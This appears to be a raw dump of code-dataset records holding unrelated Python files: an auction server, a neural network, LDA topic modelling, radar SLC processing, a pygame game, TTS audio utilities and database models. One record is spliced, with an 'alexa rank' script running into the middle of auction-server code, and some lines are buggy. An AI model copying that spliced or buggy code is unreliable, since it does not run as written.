csv_writer.writerow(values)\nstore_to_file(patient)\n\n\n","sub_path":"Documents/BACKEND/week4/4.1-oop/solutions/2_hospital.py","file_name":"2_hospital.py","file_ext":"py","file_size_in_byte":5296,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"274414973","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Sun May 7 11:49:24 2017\n\n@author: shikhar\n\"\"\"\n\n\n#!/usr/bin/env python\n# Description: A quick script to check a domain's Alexa rank.\n# Author: c0dist\n# Usage: python alexa.py = itemData[itemName][1]):\n if clients[i][0] in listAddr:\n clients[i][0].send(lost.encode('utf-8'))\n time.sleep(.5)\n return leader\n nleader = listAddr[random.randint(0,len(listAddr)-1)]\n listAddr.remove(nleader)\n if (leader != None):\n listAddr.append(leader)\n newBids = []\n for i in range(0, len(clients)):\n if (clients[i][1] == nleader):\n clients[i][0].send(notifW.encode('utf-8'))\n time.sleep(.5)\n clients[i][0].send(winning.encode('utf-8'))\n time.sleep(.5)\n elif clients[i][1] in listAddr:\n clients[i][0].send(notifO.encode('utf-8'))\n time.sleep(.5)\n clients[i][0].send(losing.encode('utf-8'))\n time.sleep(.5)\n clients[i][0].send(pickle.dumps(newPrice))\n time.sleep(.5)\n np = clients[i][0].recv(1024)\n if (pickle.loads(np) == newPrice+1):\n newBids.append(clients[i][1])\n else:\n clients[i][0].send(lost.encode('utf-8'))\n time.sleep(.5)\n if (newBids == []):\n return nleader\n else: bidWarH(itemName, newBids, newPrice, nleader)\n\n\n\ns = socket.socket()\nport = 12345\ns.bind(('', port))\nprint(\"Looking for Clients\")\ns.listen(5)\n\n#intializes array of clients\nfor i in range(0,3):\n c, addr = s.accept()\n clients.append((c,addr))\n print('Connected to: ', addr)\n\n#Block for Data Collection from file\nf = open(\"input.txt\", \"r\")\nflines = f.readlines()\nfor i in range(1,len(flines)):\n nline = flines[i].split()\n itemData[nline[0]] = [int(nline[1]), int(nline[2])] #Puts data in dictionary organized by {\"Item Name\":[Units,Price]} for updating and reading\nprint(itemData)\nf.close()\n\n#loop until input, once ended transmit all items in winnerInfo\nwhile True:\n try:\n for i in range(0,len(clients)):\n c = clients[i][0]\n print('Sending Item Data to: ', clients[i][1])\n c.send(pickle.dumps(itemData))\n time.sleep(.5)\n solicitBids()\n checkMultBid()\n delValue()\n for key in bidTracker:\n z = getSocket(key)\n z.send(notifD.encode('utf-8'))\n time.sleep(.5)\n z.send(\"Server: No one else has bid on your item.\".encode('utf-8'))\n time.sleep(.5)\n itemWon(bidTracker[key],key)\n for key in multiBid:\n bidWarMode(key, multiBid[key])\n multiBid.clear()\n bidTracker.clear()\n except KeyboardInterrupt:\n print(\"Bidding Ended. Here are the Results: \")\n print(winnerInfo)\n sys.exit()\n","sub_path":"Server.py","file_name":"Server.py","file_ext":"py","file_size_in_byte":6921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"370512115","text":"\"\"\"\nClass for neural network\n\"\"\"\nimport load_data\nimport numpy as np\n\ndef sigmoid(x):\n return 1.0/(1.0 + np.exp(-x))\n\ndef sigmoid_derivative(x):\n return sigmoid(x)*(1.0-sigmoid(x))\n\ndef tanh(x):\n return np.tanh(x)\n\ndef tanh_derivative(x):\n return 1.0 - x**2\n\n\nclass NeuralNetwork:\n\n def __init__(self, layers, params=dict(), activation='tanh'):\n\n\n if \"activation\" in params:\n activation = params[\"activation\"]\n\n self.learning_rate = params[\"learning_rate\"] if \"learning_rate\" in params else 0.01\n self.epochs = params[\"epochs\"] if \"epochs\" in params else 10000\n\n self.activation_type = activation\n\n if activation == 'sigmoid':\n self.activation = sigmoid\n self.activation_prime = sigmoid_derivative\n elif activation == 'tanh':\n self.activation = tanh\n self.activation_prime = tanh_derivative\n\n # Set weights\n self.weights = []\n # layers = [2,2,1]\n # range of weight values (-1,1)\n # input and hidden layers - random((2+1, 2+1)) : 3 x 3\n for i in range(1, len(layers) - 1):\n r = 2*np.random.random((layers[i-1] + 1, layers[i] + 1)) -1\n\n self.weights.append(r)\n # output layer - random((2+1, 1)) : 3 x 1\n r = 2*np.random.random( (layers[i] + 1, layers[i+1])) - 1\n self.weights.append(r)\n\n self.accuracy = 0\n self.precision = dict()\n\n def train(self, X):\n learning_rate = self.learning_rate\n epochs = self.epochs\n # Add column of ones to X\n # This is to add the bias unit to the input layer\n y = X[:,0]\n X = np.delete(X,[0],axis=1)\n ones = np.atleast_2d(np.ones(X.shape[0]))\n X = np.concatenate((ones.T, X), axis=1)\n\n for k in range(epochs):\n i = np.random.randint(X.shape[0])\n a = [X[i]]\n\n for l in range(len(self.weights)):\n dot_value = np.dot(a[l], self.weights[l])\n activation = self.activation(dot_value)\n a.append(activation)\n # output layer\n error = y[i] - a[-1]\n deltas = [error * self.activation_prime(a[-1])]\n\n # we need to begin at the second to last layer\n # (a layer before the output layer)\n for l in range(len(a) - 2, 0, -1):\n deltas.append(deltas[-1].dot(self.weights[l].T)*self.activation_prime(a[l]))\n\n # reverse\n # [level3(output)->level2(hidden)] => [level2(hidden)->level3(output)]\n deltas.reverse()\n\n # backpropagation\n # 1. Multiply its output delta and input activation\n # to get the gradient of the weight.\n # 2. Subtract a ratio (percentage) of the gradient from the weight.\n for i in range(len(self.weights)):\n layer = np.atleast_2d(a[i])\n delta = np.atleast_2d(deltas[i])\n self.weights[i] += learning_rate * layer.T.dot(delta)\n\n\n def predict(self, t):\n\n l = np.array(t)\n l = np.delete(l, 0)\n a = np.concatenate((np.ones(1).T, l), axis=1)\n for l in range(0, len(self.weights)):\n a = self.activation(np.dot(a, self.weights[l]))\n\n predictedLabel = self.compare(a)\n\n if not predictedLabel in self.precision:\n self.precision[predictedLabel] = dict()\n self.precision[predictedLabel][\"correct\"] = 0\n self.precision[predictedLabel][\"total\"] = 0\n self.precision[predictedLabel][\"calc\"] = 0\n\n if predictedLabel == t[0]:\n self.accuracy+=1\n self.precision[predictedLabel][\"correct\"] += 1\n self.precision[predictedLabel][\"total\"] += 1\n else:\n self.precision[predictedLabel][\"total\"] += 1\n\n\n if not t[0] in self.precision:\n self.precision[t[0]] = dict()\n self.precision[t[0]][\"correct\"] = 0\n self.precision[t[0]][\"total\"] = 0\n self.precision[t[0]][\"calc\"] = 0\n\n self.precision[t[0]][\"calc\"] += 1\n\n\n\n def compare(self, pred):\n\n predVal = pred[0]\n\n if self.activation_type == \"sigmoid\":\n if (predVal > 0.5):\n predVal = 1\n else:\n predVal = 0\n else:\n if (predVal > 0):\n predVal = 1\n else:\n predVal = 0\n\n return predVal\n\n\n\n\n","sub_path":"neural_network.py","file_name":"neural_network.py","file_ext":"py","file_size_in_byte":4465,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"509673707","text":"'''\nLoading numpy and pandas libraries\n'''\nimport numpy as np\nimport pandas as pd\n\n\n'''\nLoading Gensim and nltk libraries\n'''\nimport gensim\nfrom gensim.utils import simple_preprocess\nfrom gensim.parsing.preprocessing import STOPWORDS\nfrom nltk.stem import WordNetLemmatizer, SnowballStemmer\n# from nltk.stem.porter import * \n# from nltk.stem.porter import PorterStemmer\n\n\n'''\nLoad english wards from nltk , and english stemmers\n'''\nimport nltk\nnltk.download('wordnet')\nnltk.download('words')\nwords = set(nltk.corpus.words.words())\nstemmer = SnowballStemmer(\"english\")\n\n\n'''\nLoad Regular expressions\n'''\nimport re\n\n\n'''\nLoad operator package, this will be used in dictionary sort\n'''\nimport operator\n\n\n'''\nfix random state\n'''\nnp.random.seed(42)\n\n\n'''\nSuppress warnings\n'''\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\n\n'''\nLoad punctuation for data preprocesing\n'''\nfrom string import punctuation\n\n\n'''\nWord cloud implementation\n'''\nfrom PIL import Image\nfrom wordcloud import WordCloud, STOPWORDS, ImageColorGenerator\nfrom matplotlib import pyplot as plt\n\n'''\nImport packages for parameter pass through command line\n'''\nfrom UsedFunctions import *\nimport sys, getopt\n\n\n\n# start_date = '20190407'\n# end_date = '20190507'\n# number_of_topics = 7\n\n\n\n\ndef main(argv):\n\n start_date = argv[0]\n end_date = argv[1]\n number_of_topics = int(argv[2])\n\n\n '''\n Load data from csv file, which is in the same folder\n '''\n data = pd.read_csv('***.csv')\n\n\n '''\n Delete messages created by ***\n '''\n data = data[data.u_id != 1]\n\n\n '''\n Correct the Date column format\n '''\n data.date = data.date.str.slice(0, 10)\n data['date'] = pd.to_datetime(data['date'], format='%Y-%m-%d')\n\n\n '''\n Choose only same part from data, in this example I Chose the messages created on last month\n '''\n data = data.loc[data.date >= start_date & data.date >= start_date]\n\n\n '''\n Delete messages containing no more than 3 characters\n '''\n data = data[data.text.str.len() > 3]\n\n \n '''\n Group messages to appropriate conversations which we will consider as documents\n '''\n conversation = data.groupby('c_id')['text'].apply(lambda x: \"%s\" % ', '.join(x))\n documents = conversation.to_frame(name=None)\n \n '''\n Create a list from 'documents' DataFrame and call it 'processed_docs'\n '''\n\n processed_docs = []\n\n for doc in documents.values:\n processed_docs.append(preprocess(preprocess_document(doc[0])))\n \n '''\n Create a dictionary from 'processed_docs' containing the number of times a word appears \n in the data set using gensim.corpora.Dictionary and call it 'dictionary'\n '''\n\n dictionary = gensim.corpora.Dictionary(processed_docs)\n \n '''\n OPTIONAL STEP\n Remove very rare and very common words:\n\n - words appearing less than 15 times\n - words appearing in more than 10% of all documents\n '''\n\n dictionary.filter_extremes(no_below=15, no_above=0.1, keep_n= 100000)\n \n\n '''\n Create the Bag-of-words model for each document i.e for each document we create a dictionary reporting how many\n words and how many times those words appear. Save this to 'bow_corpus'\n '''\n\n bow_corpus = [dictionary.doc2bow(doc) for doc in processed_docs]\n \n # LDA mono-core -- fallback code in case LdaMulticore throws an error on your machine\n # lda_model = gensim.models.LdaModel(bow_corpus, \n # num_topics = 10, \n # id2word = dictionary, \n # passes = 50)\n\n # LDA multicore \n '''\n Train your lda model using gensim.models.LdaMulticore and save it to 'lda_model'\n '''\n\n lda_model = gensim.models.LdaMulticore(bow_corpus, \n num_topics = number_of_topics, \n id2word = dictionary, \n passes = 10,\n workers = 2)\n '''\n Create (num_of_conv x num_of_topic) matrix with all 0 values and call it conversation_topic\n '''\n\n conversation_topic = np.zeros(shape=(len(bow_corpus), number_of_topics), dtype=float)\n\n '''\n Fill appropriate probability of conversation i to belong topic j to conversation_topic matrix\n '''\n\n for i in range(len(bow_corpus)):\n prob = lda_model.get_document_topics(bow_corpus[i], per_word_topics = False)\n for k in range(len(prob)):\n conversation_topic[i, prob[k][0]] = prob[k][1]\n \n '''\n Calculate summed probabilities of each topic and call it prob_dict\n '''\n\n prob_dict = dict()\n for i in range(number_of_topics):\n prob_dict[i] = round(conversation_topic.sum(axis = 0)[i] / len(bow_corpus), 2)\n \n '''\n Sort prob_dict dictionary t find the most probable topic over all conversation dataset\n '''\n\n sorted_prob = sorted(prob_dict.items(), key=operator.itemgetter(1))\n\n file1 = open(\"Report/report.txt\",\"w\")\n file1.write(\"Appropriate probabilities: \\n\\n\")\n file1.writelines(str(sorted_prob) + '\\n\\n\\n') \n file1.close()\n\n \n '''\n For each topic, we will explore the words occuring in that topic and its relative weight\n '''\n\n txt = ''\n for idx, topic in lda_model.print_topics(-1):\n txt += (\"Topic: {} \\nWords: {}\\n\\n\".format(idx, topic ))\n \n file1 = open(\"Report/report.txt\",\"a\")\n file1.write(\"Obtained Topics: \\n\\n\")\n file1.writelines(txt) \n file1.close()\n\n '''\n Combine all preprocessed conversations to one string and call it word_cloud_messenger\n '''\n\n word_cloud_messenger = []\n\n for doc in processed_docs:\n s = \" \"\n word_cloud_messenger.append(s.join( doc ))\n\n s = \" \"\n\n word_cloud_messenger = s.join( word_cloud_messenger )\n \n\n '''\n Generate Picture of words, so called word cloud\n '''\n\n # Create stopword list:\n stopwords = set()\n stopwords.update([\"doritos\", \"doritosdoritos\", \"chirp\", \"chirpchirp\", \"mexico\"])\n\n # Generate a word cloud image\n wordcloud = WordCloud(stopwords=stopwords, \n background_color=\"white\",\n width = 800, \n height = 800, \n min_font_size = 10).generate(word_cloud_messenger)\n\n # Save the image in the img folder:\n wordcloud.to_file(\"Report/word-cloud.png\")\n\nif __name__ == \"__main__\":\n main(sys.argv[1:])","sub_path":"FinalProject/Topic_Extraction_With_LDA/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6544,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"76122900","text":"from __future__ import absolute_import, unicode_literals\nimport os\n\nfrom celery import Celery\nfrom django.conf import settings\nfrom celery.schedules import crontab\n\n# Set the default Django settings module for the 'celery' program.\nos.environ.setdefault('DJANGO_SETTINGS_MODULE', 'main.settings')\n\napp = Celery('main')\n\napp.conf.enable_utc=False\napp.conf.update(timezone='Asia/Kolkata')\n\n# Using a string here means the worker doesn't have to serialize\n# the configuration object to child processes.\n# - namespace='CELERY' means all celery-related configuration keys\n# should have a `CELERY_` prefix.\napp.config_from_object(settings, namespace='CELERY')\n\n# Load task modules from all registered Django apps.\n\n# Celery Beat tasks registration \napp.conf.beat_schedule = {\n 'Send_mail_to_Client': {\n 'task': 'sendmail.tasks.send_mail_task',\n 'schedule': 30.0, #every 30 seconds it will be called\n #'args': (2,) you can pass arguments also if rquired \n }\n}\n\napp.autodiscover_tasks()\n\n@app.task(bind=True)\ndef debug_task(self):\n print(f'Request: {self.request!r}')\n","sub_path":"main/celery.py","file_name":"celery.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"403765400","text":"\ndef fibonacci(n):\n if n is 0:\n return []\n vec_fib = [0, 1]\n for i in range(2, n + 1):\n vec_fib.append(vec_fib[i - 1] + vec_fib[i - 2])\n return vec_fib[1:]\n\n\nfib = fibonacci(40)\nprint(fib)\nphi = []\nfor i in range(39):\n phi.append(round(fib[i + 1] / fib[i], 10))\nprint(phi[-5:-1])\n","sub_path":"homework_1/problem_5.py","file_name":"problem_5.py","file_ext":"py","file_size_in_byte":309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"106428357","text":"#!/usr/bin/python\n\nimport argparse\n\nimport numpy as _np\nimport pyrat.core.matrices as _mat\nimport pyrat.fileutils.gpri_files as _gpf\n\n# Argument parser\nparser = argparse.ArgumentParser()\nparser.add_argument('HH', help='HH slc', type=str)\nparser.add_argument('HH_par', help='HH slc parameters', type=str)\nparser.add_argument('HV', help='HV slc', type=str)\nparser.add_argument('HV_par', help='HV slc parameters', type=str)\nparser.add_argument('VH', help='HV slc', type=str)\nparser.add_argument('VH_par', help='VH slc parameters', type=str)\nparser.add_argument('VV', help='VV slc', type=str)\nparser.add_argument('VV_par', help='VV slc parameters', type=str)\nparser.add_argument(\"topo_phase\", help=\"Topographic phase (unwrapped float) with the same shape as the other SLCS\",\n type=str)\nparser.add_argument(\"topo_phase_par\", help=\"Topographic phase parameters\", type=str)\nparser.add_argument(\"topo_phase_master_par\",\n help=\"SLC params of the master image used to generate the topographic phase\", type=str)\nparser.add_argument(\"topo_phase_slave_par\", help=\"SLC params of the slave image used to generate the topographic phase\",\n type=str)\nparser.add_argument('out_root', help='The root filename of the flattened covariance dataset')\n# Subparser to apply them\nargs = parser.parse_args()\n\n# Load the channels\nHH, HH_par = _gpf.load_dataset(args.HH_par, args.HH)\nHV, HV_par = _gpf.load_dataset(args.HV_par, args.HV)\nVH, VH_par = _gpf.load_dataset(args.VH_par, args.VH)\nVV, VV_par = _gpf.load_dataset(args.VV_par, args.VV)\n\n# Load the topo phase\ntopo_phase, topo_par = _gpf.load_dataset(args.topo_phase_par, args.topo_phase)\n\n# Load the master and slave slc parameters\nmaster_par = _gpf.par_to_dict(args.topo_phase_master_par)\nslave_par = _gpf.par_to_dict(args.topo_phase_slave_par)\n\n# Compute the two phase centers\nph_center_topo_1 = _gpf.compute_phase_center(master_par)\nph_center_topo_2 = _gpf.compute_phase_center(slave_par)\nint_bl = ph_center_topo_1 - ph_center_topo_2\n\n# Construct the scattering matrix\nC_matrix = _np.zeros(HH.shape + (4, 4), dtype=HH.dtype)\nC_matrix_flat = _np.zeros(HH.shape + (4, 4), dtype=HH.dtype)\nchan_list = [[HH, HH_par], [HV, HV_par], [VH, VH_par], [VV, VV_par]]\nfor idx_1, (chan_1, par_1) in enumerate(chan_list):\n for idx_2, (chan_2, par_2) in enumerate(chan_list):\n # Compute pase center of channel\n pol_ph_center_1 = _gpf.compute_phase_center(par_1)\n pol_ph_center_2 = _gpf.compute_phase_center(par_2)\n pol_bl = (pol_ph_center_1 - pol_ph_center_2)\n C_matrix[:, :, idx_1, idx_2] = chan_1 * chan_2.conj()\n topo_phase_rescaled = _np.exp(1j * topo_phase * pol_bl / int_bl)\n C_matrix_flat[:, :, idx_1, idx_2] = C_matrix[:, :, idx_1, idx_2] * topo_phase_rescaled\n\nC_matrix_flat = _mat.coherencyMatrix(C_matrix_flat, basis='lexicographic', bistatic=True)\nC_matrix_flat.__dict__.update(HH_par)\nC_matrix_flat.to_gamma(args.out_root, bistatic=True)\n","sub_path":"pyrat/gpri_utils/scripts/slc2flatcovar.py","file_name":"slc2flatcovar.py","file_ext":"py","file_size_in_byte":2974,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"400958391","text":"import pygame\nimport sys\npygame.init()\n\nbg = pygame.image.load(r\"c:\\users\\sudharshan\\pictures\\bg.jpg\")\nbg = pygame.transform.scale(bg, (640, 480))\nbgrect = bg.get_rect()\n\nimg3 = pygame.image.load(r'c:\\users\\sudharshan\\pictures\\bullet.png')\nimg3 = pygame.transform.scale(img3, (60, 60))\nimg4 = img3\nimg1 = pygame.image.load(r\"c:\\users\\sudharshan\\downloads\\player.png\")\nimg1 = pygame.transform.scale(img1, (160, 120))\nimg2 = pygame.transform.flip(img1, True, False)\nhealth1 = pygame.image.load(r'c:\\users\\sudharshan\\pictures\\health.png')\nhealth2 = pygame.image.load(r'c:\\users\\sudharshan\\pictures\\health1.png')\nh1rect = health1.get_rect()\nh2rect = health2.get_rect()\nw = 640\nh = 480\nh2rect = h2rect.move(w-200, 0)\n\nbar1 = [200, 20] # Dimensions of healthbars\nbar2 = [200, 20]\n\n\ncoolrect = img3.get_rect()\ncoolrect2 = img4.get_rect()\nhealth1 = pygame.transform.scale(health1, bar1)\nhealth2 = pygame.transform.scale(health2, bar2)\n\n\nspeed1 = [0,0]\nspeed2 = [0,0]\n\nscreen = pygame.display.set_mode((w, h))\n\ncoolrect = coolrect.move(0,370)\ncoolrect2 = coolrect2.move(600,370) \n\nblack = 255, 255, 255\n\nfont = pygame.font.SysFont('Ariel', 30)\ndef text_disp(x):\n return font.render(x, False, (0, 0, 0))\n\ndef reduce1(x):\n bar1[0] -= x\n \ndef reduce2(x):\n h2rect.move_ip(1, 0)\n bar2[0] -= x\n\nemotion = \"Test\" # Any emotion\nct = \"3\"\n\nwhile 1:\n events = pygame.event.get()\n for event in events:\n if event.type == pygame.QUIT:\n pygame.display.quit()\n sys.exit()\n elif event.type == pygame.KEYDOWN:\n if event.key == pygame.K_DOWN:\n speed1[0]=10\n elif event.type == pygame.KEYUP:\n if event.key == pygame.K_UP:\n speed2[0]-=10\n \n if (bar1[0] <= 0 or bar2[0] <= 0):\n pygame.display.quit()\n sys.exit()\n break\n \n screen.fill(black)\n screen.blit(bg, bgrect)\n \n keys = pygame.key.get_pressed()\n \n if keys[pygame.K_a]:\n reduce1(1)\n \n if keys[pygame.K_LEFT]:\n reduce2(1)\n \n health1 = pygame.transform.scale(health1, bar1)\n health2 = pygame.transform.scale(health2, bar2)\n \n screen.blit(health1, h1rect)\n screen.blit(health2, h2rect) \n\n text = text_disp(emotion) # Text emotion \n text2 = text_disp(ct) # Countdown\n \n coolrect = coolrect.move(speed1)\n if coolrect.left<= w:\n screen.blit(img3,coolrect)\n screen.blit(img4,coolrect2)\n \n screen.blit(text, (w/2 - 30, h/2 - 30))\n \n screen.blit(img1,(0,h-120))\n \n screen.blit(img2,(w-160,h-120))\n \n screen.blit(text2, (w/2 - 15, h/2))\n pygame.display.flip()\n","sub_path":"Emotion-recognition-master/realpygame.py","file_name":"realpygame.py","file_ext":"py","file_size_in_byte":2662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"517472368","text":"import os\nimport numpy as np\nfrom scipy import signal, io\nimport librosa\nimport soundfile as sf\n\n\ndef _stft(x, \n n_fft, \n n_shift, \n win_length=None, \n window=\"hann\", \n center=True, \n pad_mode=\"reflect\"):\n r\"\"\"Computes Short-time Fourier transform for a given audio signal.\"\"\"\n # x: [Time, Channel]\n if x.ndim == 1:\n single_channel = True\n # x: [Time] -> [Time, Channel]\n x = x[:, None]\n else:\n single_channel = False\n x = x.astype(np.float32)\n\n # x: [Time, Channel, Freq]\n x = np.stack([librosa.stft(x[:, ch],\n n_fft=n_fft,\n hop_length=n_shift,\n win_length=win_length,\n window=window,\n center=center,\n pad_mode=pad_mode,).T for ch in range(x.shape[1])], axis=1,)\n if single_channel:\n # x: [Time, Channel, Freq] -> [Time, Freq]\n x = x[:, 0]\n\n return x\n\n\ndef _stft2logmelspectrogram(x_stft, \n fs, \n n_mels, \n n_fft, \n fmin=None, \n fmax=None, \n eps=1e-10):\n r\"\"\"Converts STFT to log-melspectrogram.\"\"\"\n # x_stft: (Time, Channel, Freq) or (Time, Freq)\n fmin = 0 if fmin is None else fmin\n fmax = fs / 2 if fmax is None else fmax\n\n # spc: (Time, Channel, Freq) or (Time, Freq)\n spc = np.abs(x_stft)\n # mel_basis: (Mel_freq, Freq)\n mel_basis = librosa.filters.mel(fs, n_fft, n_mels, fmin, fmax)\n # lmspc: (Time, Channel, Mel_freq) or (Time, Mel_freq)\n lmspc = np.log10(np.maximum(eps, np.dot(spc, mel_basis.T)))\n\n return lmspc\n\n\ndef log_melspectrogram(x, \n sample_rate,\n n_fft,\n hop_length,\n win_length,\n num_mels,\n mel_fmin,\n mel_fmax,\n window=\"hann\",\n pad_mode=\"reflect\"):\n r\"\"\"Computes log melspectrogram of an audio signal.\"\"\"\n # Compute STFT\n x_stft = _stft(x,\n n_fft=n_fft,\n n_shift=hop_length,\n win_length=win_length,\n window=\"hann\",\n pad_mode=\"reflect\",)\n\n # Compute log-melspec\n return _stft2logmelspectrogram(x_stft, \n fs=sample_rate, \n n_mels=num_mels, \n n_fft=n_fft, \n fmin=mel_fmin, \n fmax=mel_fmax, \n eps=1e-10).T\n\n\ndef trim_silence(wav, ref_level_db):\n r\"\"\"Trims margin silent.\"\"\"\n return librosa.effects.trim(wav, \n top_db=ref_level_db, \n frame_length=1024, \n hop_length=256)[0]\n\n\ndef logmelspc_to_linearspc(log_melspec, \n fs, \n n_mels, \n n_fft, \n fmin=None, \n fmax=None):\n r\"\"\"Converts log-melspec to linear spectrogram.\"\"\"\n EPS = 1e-10\n fmin = 0 if fmin is None else fmin\n fmax = fs / 2 if fmax is None else fmax\n mspc = np.power(10.0, log_melspec)\n mel_basis = librosa.filters.mel(fs, n_fft, n_mels, fmin, fmax)\n inv_mel_basis = np.linalg.pinv(mel_basis)\n spc = np.maximum(EPS, np.dot(inv_mel_basis, mspc.T).T)\n\n return spc\n \n\ndef inv_mel_spectrogram(log_melspec, \n sample_rate,\n n_fft,\n hop_length,\n win_length,\n num_mels,\n mel_fmin,\n mel_fmax,\n window=\"hann\",\n n_iters=100):\n r\"\"\"Implements Griffinlim algorithm.\"\"\"\n log_melspec = log_melspec.T\n spc = logmelspc_to_linearspc(log_melspec, \n sample_rate, \n num_mels, \n n_fft, \n fmin=mel_fmin, \n fmax=mel_fmax)\n EPS = 1e-10\n \n # Use librosa's fast Grriffin-Lim algorithm\n spc = np.abs(spc.T)\n y = librosa.griffinlim(\n S=spc,\n n_iter=n_iters,\n hop_length=hop_length,\n win_length=win_length,\n window=window,\n center=True if spc.shape[1] > 1 else False,)\n\n return y\n\n\ndef stretch_mel(x, \n factor,\n sample_rate,\n num_mels,\n n_fft,\n mel_fmin,\n mel_fmax):\n r\"\"\"\n Stretches an audio sequence by a factor using FFT of size nfft converting to frequency domain\n :param x: num_mel x L\n :param factor: float, stretching or shrinking factor, depending on if its > or < 1 respectively\n :return: mel\n \"\"\"\n stft = logmelspc_to_linearspc(x.T, sample_rate, num_mels, n_fft, fmin=mel_fmin, fmax=mel_fmax)\n stft_rows = stft.shape[0]\n stft_cols = stft.shape[1]\n times = np.arange(0, stft.shape[0], factor) # times at which new FFT to be calculated\n hop = n_fft/4 # frame shift\n stft_new = np.zeros((len(times), stft_cols), dtype=np.complex_)\n phase_adv = (2 * np.pi * hop * np.arange(0, stft_cols))/ n_fft\n phase = np.angle(stft[0])\n stft = np.concatenate( (stft, np.zeros((1, stft_cols))), axis=0)\n for i, time in enumerate(times):\n left_frame = int(np.floor(time))\n local_frames = stft[[left_frame, left_frame + 1], :]\n right_wt = time - np.floor(time) # weight on right frame out of 2\n local_mag = (1 - right_wt) * np.absolute(local_frames[0, :]) + right_wt * np.absolute(local_frames[1, :])\n local_dphi = np.angle(local_frames[1, :]) - np.angle(local_frames[0, :]) - phase_adv\n local_dphi = local_dphi - 2 * np.pi * np.floor(local_dphi/(2 * np.pi))\n stft_new[i, :] = local_mag * np.exp(phase*1j)\n phase += local_dphi + phase_adv\n \n return _stft2logmelspectrogram(stft_new, \n fs=sample_rate, \n n_mels=num_mels, \n n_fft=n_fft, \n fmin=mel_fmin, \n fmax=mel_fmax, \n eps=1e-10).T","sub_path":"tts/utils/dsp.py","file_name":"dsp.py","file_ext":"py","file_size_in_byte":6801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"569668401","text":"from datetime import datetime\nfrom mysql.create_db import db\n\n\nclass Rewardandpulishment(db.Model):\n __tablename__ = 'rewardandpulishment'\n rnp_id = db.Column(db.Integer, primary_key=True, autoincrement=True,\n comment=\"重大信息奖罚记录表,id自动递增\")\n corporation_id = db.Column(db.Integer, comment=\"该公司的id\")\n user_id = db.Column(db.Integer, comment=\"被记录者的用户id\")\n user_name = db.Column(db.String(255), comment=\"被记录者的用户名\")\n user_depart = db.Column(db.String(255), comment=\"用户所属的部门\")\n user_job = db.Column(db.String(255), comment=\"用户的工作\")\n hr_id = db.Column(db.Integer, comment=\"记录内容的hr的id\")\n rew_or_pun = db.Column(db.Boolean, comment=\"是否是奖励,0是惩罚,1是奖励\")\n reward_pun_name = db.Column(db.String(255), comment=\"奖惩名称\")\n description = db.Column(db.Text, comment=\"描述信息\")\n registerdate = db.Column(db.DateTime, default=datetime.now, comment=\"奖罚时间\")\n\n name_register = dict(\n rnp_id=rnp_id,\n corporation_id=corporation_id,\n user_id=user_id,\n user_name=user_name,\n user_depart=user_depart,\n user_job=user_job,\n hr_id=hr_id,\n rew_or_pun=rew_or_pun,\n reward_pun_name=reward_pun_name,\n description=description,\n registerdate=registerdate\n )\n\n @staticmethod\n def get_obj(namelist):\n obj_list = []\n for name in namelist:\n obj = Rewardandpulishment.name_register.get(name, 0)\n if obj == 0:\n raise Exception(\"column name not found: \" + name)\n obj_list.append(obj)\n return obj_list\n\n def __init__(self, corporation_id, user_id, hr_id, user_name=\"\", user_depart=\"\",\n user_job=\"\", rew_or_pun=0, reward_pun_name=\"\", description=\"\", registerdate=0):\n\n self.corporation_id = corporation_id\n self.user_id = user_id\n self.user_name = user_name\n self.user_depart = user_depart\n self.user_job = user_job\n self.hr_id = hr_id\n self.rew_or_pun = rew_or_pun\n self.reward_pun_name = reward_pun_name\n self.description = description\n self.registerdate = registerdate\n if registerdate == 0:\n create_time = datetime.now().strftime(\"%Y-%m-%d %H:%M:%S\")\n self.registerdate = create_time\n\n def save(self):\n db.session.add(self)\n db.session.commit()\n","sub_path":"back_end/models/rewardandpulishment.py","file_name":"rewardandpulishment.py","file_ext":"py","file_size_in_byte":2499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"453512723","text":"import numpy as np\nimport pandas as pd\nfrom pandas.tseries.frequencies import to_offset\nfrom sklearn.metrics import fbeta_score, precision_score, recall_score, accuracy_score, confusion_matrix, normalized_mutual_info_score, mean_squared_error\nfrom sklearn.preprocessing import minmax_scale\nfrom vadetisweb.parameters import *\nfrom .helper_function_utils import *\n\n\ndef min_max_normalization(scores):\n #return (scores - np.min(scores)) / (np.max(scores) - np.min(scores))\n return minmax_scale(scores)\n\n\ndef get_detection_choices(dataset, with_empty=True):\n empty_choice = ('', '----')\n has_training_data = dataset.number_of_training_datasets() > 0\n if dataset is not None:\n if dataset.is_spatial() and has_training_data:\n if with_empty:\n return (empty_choice,) + ANOMALY_DETECTION_ALGORITHMS\n else:\n return ANOMALY_DETECTION_ALGORITHMS\n\n elif dataset.is_spatial() and not has_training_data:\n if with_empty:\n return (empty_choice,) + ANOMALY_DETECTION_ALGORITHMS_NON_TRAINING\n else:\n return ANOMALY_DETECTION_ALGORITHMS_NON_TRAINING\n\n elif not dataset.is_spatial() and has_training_data:\n if with_empty:\n return (empty_choice,) + ANOMALY_DETECTION_ALGORITHMS_NON_SPATIAL\n else:\n return ANOMALY_DETECTION_ALGORITHMS_NON_SPATIAL\n\n else:\n if with_empty:\n return (empty_choice,) + ANOMALY_DETECTION_ALGORITHMS_NON_SPATIAL_NON_TRAINING\n else:\n return ANOMALY_DETECTION_ALGORITHMS_NON_SPATIAL_NON_TRAINING\n else:\n if with_empty:\n return empty_choice\n else:\n raise ValueError('Could not determine supported 